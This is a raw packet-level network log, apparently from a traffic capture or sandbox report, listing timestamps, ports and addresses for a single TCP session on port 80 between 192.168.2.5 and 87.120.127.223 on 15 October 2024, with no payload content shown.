Oct 15, 2024 19:22:30.140113115 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.140120029 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.140156031 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.140187979 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.140206099 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.140228033 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.140254021 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.140258074 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.140307903 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.140461922 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.140495062 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.140527964 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.140544891 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.140582085 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.140615940 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.140645027 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.140647888 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.140682936 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.140716076 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.140736103 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.140769005 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.140800953 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.140819073 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.140835047 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.140861988 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.140870094 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.140902996 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.140922070 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.181914091 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.185662031 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.185709000 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.185745001 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.185780048 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.185784101 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.185851097 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.254645109 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.254688978 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.254704952 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.254730940 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.254743099 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.254745960 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.254764080 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.254780054 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.254789114 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.254820108 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.254873037 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.254887104 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.254909992 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.254985094 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.255001068 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.255037069 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.255038023 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.255055904 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.255072117 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.255088091 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.255089998 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.255104065 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.255105019 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.255136013 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.255270004 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.255284071 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.255460024 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.255487919 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.255502939 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.255506992 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.255527020 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.255630970 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.255649090 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.255667925 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.255844116 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.255860090 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.255877018 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.255881071 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.255902052 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.255918026 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.255933046 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.255938053 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.255949974 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.255960941 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.255985022 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.256026983 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.256062984 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.256098032 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.256360054 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.256378889 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.256422997 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.256452084 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.256469011 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.256484985 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.256517887 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.301142931 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.301172018 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.301187038 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.301202059 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.301206112 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.301218033 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.301229954 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.301234007 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.301265001 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.301292896 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.301336050 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.301700115 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.353782892 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.370109081 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.370127916 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.370143890 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.370208025 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.370213032 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.370223999 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.370239019 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.370244980 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.370256901 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.370279074 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.370326996 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.370367050 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.370372057 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.370387077 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.370403051 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.370424986 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.370608091 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.370651960 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.370655060 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.370671034 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.370733976 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.370771885 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.370798111 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.370814085 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.370846987 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.370884895 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.370899916 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.370918989 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.371104956 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.371124029 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.371141911 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.371141911 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.371218920 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.371232986 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.371247053 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.371253967 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.371263981 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.371292114 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.371306896 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.371418953 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.371434927 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.371448994 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.371481895 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.371670961 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.371715069 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.371742010 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.371757984 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.371794939 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.371840954 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.371855974 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.371870041 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.371885061 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.371889114 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.371915102 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.371932030 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.372142076 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.372169018 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.372183084 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.372201920 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.372230053 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.420388937 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.420516968 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.420530081 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.420561075 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.420666933 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.420681953 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.420698881 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.420706034 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.420739889 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.420799971 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.420877934 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.420918941 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.489631891 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.489700079 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.489736080 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.489788055 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.489821911 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.489856958 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.489880085 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.489881039 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.489892960 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.489917040 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.489944935 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.489978075 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.490016937 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.490067005 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.490067005 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.490101099 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.490118980 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.490144014 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.490149021 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.490201950 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.490236044 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.490252972 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.490268946 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.490303040 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.490322113 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.490335941 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.490372896 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.490406036 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.490412951 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.490441084 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.490473986 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.490474939 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.490511894 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.490535021 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.490545034 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.490578890 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.490612030 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.490619898 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.490645885 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.490669966 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.490680933 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.490716934 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.490745068 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.490752935 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.490801096 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.490904093 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.490957022 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.491005898 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.491009951 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.491045952 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.491080046 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.491095066 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.491113901 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.491151094 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.491163969 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.534228086 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.534285069 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.534291029 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.534320116 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.534373045 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.534406900 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.534440994 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.534472942 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.534506083 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.534511089 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.534512043 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.534603119 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.588149071 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.608740091 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.608773947 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.608791113 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.608807087 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.608819008 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.608844995 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.608889103 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.608906031 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.608922005 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.608938932 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.608944893 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.608978033 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.609055042 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.609071970 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.609107971 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.609155893 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.609174967 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.609189987 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.609205008 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.609208107 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.609221935 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.609251976 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.609395027 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.609411001 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.609426975 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.609442949 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.609447002 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.609462023 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.609467983 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.609482050 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.609500885 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.609666109 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.609682083 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.609697104 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.609705925 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.609715939 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.609735966 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.609739065 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.609754086 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.609770060 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.609771013 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.609786034 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.609802961 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.609817982 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.609841108 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.609958887 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.610006094 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.610022068 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.610044956 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.610088110 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.610104084 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.610125065 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.610187054 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.610203028 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.610220909 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.610234976 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.610265017 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.649771929 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.649791002 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.649806976 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.649837017 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.649970055 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.649987936 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.650008917 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.650012970 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.650029898 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.650046110 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.650052071 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.650060892 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.650080919 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.697525978 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.723228931 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.723443985 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.723459959 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.723481894 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.723489046 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.723499060 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.723515034 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.723517895 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.723531961 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.723546982 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.723548889 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.723567009 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.723578930 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.723599911 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.723624945 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.723639965 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.723676920 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.723690987 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.723714113 CEST	49767	80	192.168.2.5	87.120.127.223
